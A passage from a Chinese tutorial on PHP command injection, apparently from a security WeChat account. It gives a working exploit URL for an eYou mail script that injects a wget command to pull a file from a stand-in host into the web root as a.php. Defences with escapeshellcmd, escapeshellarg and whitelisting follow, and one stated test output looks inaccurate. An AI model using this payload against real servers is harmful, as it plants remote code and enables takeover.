该函数拼接了一条命令:


$cmd = "/var/eyou/sbin/hashid $uid $domain";


可以看到$uid和$domain变量都是从GET请求中获取的,最终通过反引号(`)来执行,所以我们可以直接注入命令,最终exp为:


/swfupload/upload_files.php?uid=|wget+http://www.x.com/1.txt+-O+/var/eyou/apache/htdocs/swfupload/a.php&domain=


表示下载http://www.x.com/1.txt到/var/eyou/apache/htdocs/swfupload/a.php文件。


(二)漏洞防范


关于命令执行漏洞的防范大致有两种方式:一种是使用PHP自带的命令防注入函数,包括escapeshellcmd()和escapeshellarg(),其中escapeshellcmd()是过滤的整条命令,所以它的参数是一整条命令,escapeshellarg()函数则是用来保证传入命令执行函数里面的参数确实是以字符串参数形式存在的,不能被注入。除了使用这两个函数,还有对命令执行函数的参数做白名单限制,下面我们来详细介绍。


1、命令防注入函数


PHP在SQL防注入上有addslashes()和mysql_[real_]escape_string()等函数过滤SQL语句,在命令上也同样有防注入函数,一共有两个escapeshellcmd()和escapeshellarg(),从函数名我们可以看出,escapeshellcmd()是过滤的整条命令,它的函数说明如下:


string escapeshellcmd(string $command)


输入一个string类型的参数,为要过滤的命令,返回过滤后的string类型的命令,过滤的字符为'&'、';'、'`'、'|'、'*'、'?'、'~'、'<'、'>'、'^'、'('、')'、'['、']'、'{'、'}'、'$'、'\'、'\x0A'、'\xFF'、’%’,'和"仅仅在不成对的时候被转义,我们在Windows环境测试下,测试代码:


<?php

echo(escapeshellcmd($_GET['cmd']));

?>


结果如下图所示。


可以看到这些字符过滤方式是在这些字符前面加了一个^符号,而在Linux下则是在这些字符前面加了反斜杠(\)。


escapeshellarg()函数的功能则是过滤参数,将参数限制在一对双引号里,确保参数为一个字符串,因此它会把双引号替换为空格,我们来测试一下:


<?php

echo 'ls '.escapeshellarg('a"');

?>


最终输出为ls"a"


2、参数白名单


参数白名单方式在大多数由于参数过滤不严产生的漏洞中都很好用,是一种通用修复方法,可以在代码中或者配置文件中限定某些参数,在使用的时候匹配一下这个参数在不在这个白名单列表中,如果不在则直接显示错误提示即可。

微信公众号:计算机与网络安全

ID:Computer-network

【推荐书籍】

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存